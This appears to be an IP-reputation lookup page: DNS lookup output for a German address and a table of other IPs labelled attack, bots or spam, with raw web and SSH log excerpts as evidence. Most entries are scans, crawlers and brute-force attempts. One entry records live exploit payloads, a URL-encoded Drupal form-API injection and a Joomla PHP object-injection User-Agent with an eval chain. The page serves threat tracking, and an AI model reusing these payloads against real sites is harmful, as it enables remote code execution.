City: unknown
Region: unknown
Country: Germany
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 137.226.138.243
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 14514
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;137.226.138.243. IN A
;; AUTHORITY SECTION:
. 484 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022062600 1800 900 604800 86400
;; Query time: 64 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sun Jun 26 16:52:41 CST 2022
;; MSG SIZE rcvd: 108Host 243.138.226.137.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 243.138.226.137.in-addr.arpa: NXDOMAIN| IP | Type | Details | Datetime |
|---|---|---|---|
| 174.138.9.42 | botsattack | UDP flood port:53329 to port: 53329 |
2019-05-08 07:46:52 |
| 188.166.3.42 | botsattack | 188.166.3.42 - - [05/May/2019:11:22:39 +0800] "GET /jmx-console/ HTTP/1.1" 301 194 "-" "-" 188.166.3.42 - - [05/May/2019:11:22:40 +0800] "GET /jmx-console/ HTTP/1.1" 404 209 "http://118.25.52.138/jmx-console/" "-" |
2019-05-05 11:23:55 |
| 54.221.53.134 | spambots | 利用ua字段进行推广的嫌疑 54.221.53.134 - - [15/May/2019:14:13:22 +0800] "GET /check-ip/190.81.186.114 HTTP/1.1" 200 10363 "-" "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)" 34.207.74.88 - - [15/May/2019:14:13:23 +0800] "GET /favicon.ico HTTP/1.1" 200 4286 "-" "Slackbot 1.0 (+https://api.slack.com/robots)" |
2019-05-15 14:16:00 |
| 134.175.123.16 | attack | May 21 01:42:33 s64-1 sshd[7561]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=134.175.123.16 May 21 01:42:35 s64-1 sshd[7561]: Failed password for invalid user postgres from 134.175.123.16 port 33900 ssh2 May 21 01:49:41 s64-1 sshd[7674]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=134.175.123.16 |
2019-05-21 10:06:46 |
| 222.82.54.150 | botsattack | 222.82.54.150 - - [19/May/2019:13:55:53 +0800] "GET /home.asp HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" 222.82.54.150 - - [19/May/2019:13:55:55 +0800] "GET /images/logo.gif HTTP/1.1" 301 194 "-" "-" 222.82.54.150 - - [19/May/2019:13:55:56 +0800] "GET /fdsrwe HTTP/1.1" 301 194 "-" "-" 222.82.54.150 - - [19/May/2019:13:55:57 +0800] "GET /qnfxcjqr HTTP/1.1" 400 182 "-" "-" 222.82.54.150 - - [19/May/2019:13:56:07 +0800] "GET /winbox.png HTTP/1.1" 301 194 "-" "-" 222.82.54.150 - - [19/May/2019:13:56:09 +0800] "GET /login.html HTTP/1.1" 301 194 "-" "-" 222.82.54.150 - - [19/May/2019:13:56:09 +0800] "GET /device_description.xml HTTP/1.1" 301 194 "-" "-" 222.82.54.150 - - [19/May/2019:13:56:09 +0800] "GET /cgi-bin/user/Config.cgi?.cab&action=get&category=Account.* HTTP/1.1" 301 194 "-" "-" 222.82.54.150 - - [19/May/2019:13:56:09 +0800] "GET /current_config/passwd HTTP/1.1" 301 194 "-" "-" 222.82.54.150 - - [19/May/2019:13:56:11 +0800] "GET /cgi-bin/nobody/Machine.cgi?action=get_capability HTTP/1.1" 301 194 "-" "-" 222.82.54.150 - - [19/May/2019:13:56:11 +0800] "GET /index.asp HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" |
2019-05-19 14:01:20 |
| 102.165.35.141 | attack | MultiHost/MultiPort Probe, Scan, Hack - |
2019-05-22 18:27:17 |
| 95.105.40.162 | normal | yandex的一个转换服务 95.105.40.162 - - [17/May/2019:17:16:42 +0800] "GET /check-ip/2804:14d:5a83:449f:5ab:f26:15e4:e7ce HTTP/1.1" 200 7986 "https://iframe-toloka.com/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 YaBrowser/19.3.2.176 Yowser/2.5 Safari/537.36" |
2019-05-17 17:21:58 |
| 159.69.190.90 | attackproxynormal | 2048 |
2019-05-11 10:21:37 |
| 54.93.245.75 | spam | 54.93.245.75 - - [15/May/2019:14:30:54 +0800] "GET /favicon.ico HTTP/1.1" 200 4286 "-" "Slack-ImgProxy (+https://api.slack.com/robots)" |
2019-05-15 14:31:29 |
| 174.138.9.42 | botsattack | UDP port(0) attack 1/3s |
2019-05-03 18:25:37 |
| 3.92.45.174 | bots | 应该是adsense合作的一个广告商 3.92.45.174 - - [10/May/2019:08:19:00 +0800] "GET /ads.txt HTTP/1.1" 301 194 "-" "Jersey/2.25.1 (HttpUrlConnection 1.8.0_141)" 3.92.45.174 - - [10/May/2019:08:19:05 +0800] "GET /ads.txt HTTP/1.1" 404 232 "-" "Jersey/2.25.1 (HttpUrlConnection 1.8.0_141)" |
2019-05-10 08:20:35 |
| 218.161.75.200 | attack | 218.161.75.200 - - [05/May/2019:12:03:42 +0800] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6http://118.25.52.138/ HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
218.161.75.200 - - [05/May/2019:12:03:42 +0800] "GET / HTTP/1.1" 301 194 "-" "}__test|O:21:\\x22JDatabaseDriverMysqli\\x22:3:{s:2:\\x22fc\\x22;O:17:\\x22JSimplepieFactory\\x22:0:{}s:21:\\x22\\x5C0\\x5C0\\x5C0disconnectHandlers\\x22;a:1:{i:0;a:2:{i:0;O:9:\\x22SimplePie\\x22:5:{s:8:\\x22sanitize\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}s:8:\\x22feed_url\\x22;s:277:\\x22eval(chr(100).chr(105).chr(101).chr(40).chr(109).chr(100).chr(53).chr(40).chr(68).chr(73).chr(82).chr(69).chr(67).chr(84).chr(79).chr(82).chr(89).chr(95).chr(83).chr(69).chr(80).chr(65).chr(82).chr(65).chr(84).chr(79).chr(82).chr(41).chr(41).chr(59));JFactory::getConfig();exit\\x22;s:19:\\x22cache_name_function\\x22;s:6:\\x22assert\\x22;s:5:\\x22cache\\x22;b:1;s:11:\\x22cache_class\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}}i:1;s:4:\\x22init\\x22;}}s:13:\\x22\\x5C0\\x5C0\\x5C0connection\\x22;b:1;}\\xF0\\xFD\\xFD\\xFD" |
2019-05-05 12:04:53 |
| 176.8.90.246 | botsattack | 176.8.90.246 - - [07/May/2019:08:33:30 +0800] "GET /seo-joy.cgi HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 176.8.90.246 - - [07/May/2019:08:33:31 +0800] "GET /yybbs.cgi HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 176.8.90.246 - - [07/May/2019:08:33:32 +0800] "GET /guestbook HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 176.8.90.246 - - [07/May/2019:08:33:33 +0800] "GET /aska.cgi HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 176.8.90.246 - - [07/May/2019:08:33:35 +0800] "GET /default.asp HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 176.8.90.246 - - [07/May/2019:08:33:36 +0800] "GET /album.cgi HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 176.8.90.246 - - [07/May/2019:08:33:39 +0800] "GET /guestbook.html HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 176.8.90.246 - - [07/May/2019:08:33:41 +0800] "GET /apps/guestbook HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 176.8.90.246 - - [07/May/2019:08:33:42 +0800] "GET /g_book.cgi HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0. |
2019-05-07 08:35:19 |
| 213.180.203.19 | bots | 213.180.203.19 - - [14/May/2019:06:21:24 +0800] "GET /robots.txt HTTP/1.1" 200 634 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" 37.9.113.69 - - [14/May/2019:06:21:28 +0800] "GET /check-ip/94.247.177.124 HTTP/1.1" 200 9954 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" 87.250.224.100 - - [14/May/2019:06:21:32 +0800] "GET /check-ip/102.196.212.28/ HTTP/1.1" 200 10050 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" 141.8.142.176 - - [14/May/2019:06:21:36 +0800] "GET /check-ip/179.26.25.87/ HTTP/1.1" 200 10182 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" |
2019-05-14 06:22:30 |
| 124.235.138.144 | bots | 124.235.138.144 - - [23/May/2019:12:41:36 +0800] "GET /favicon.ico HTTP/1.1" 200 4286 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" 101.249.227.246 - - [23/May/2019:12:41:36 +0800] "GET /favicon.ico HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" 101.249.227.246 - - [23/May/2019:12:41:37 +0800] "GET /favicon.ico HTTP/1.1" 200 4286 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" 101.249.227.246 - - [23/May/2019:12:41:38 +0800] "GET /home/favicon.ico HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" 101.249.227.246 - - [23/May/2019:12:41:39 +0800] "GET /home/favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" 124.235.138.144 - - [23/May/2019:12:41:42 +0800] "GET /home/favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" |
2019-05-23 13:08:18 |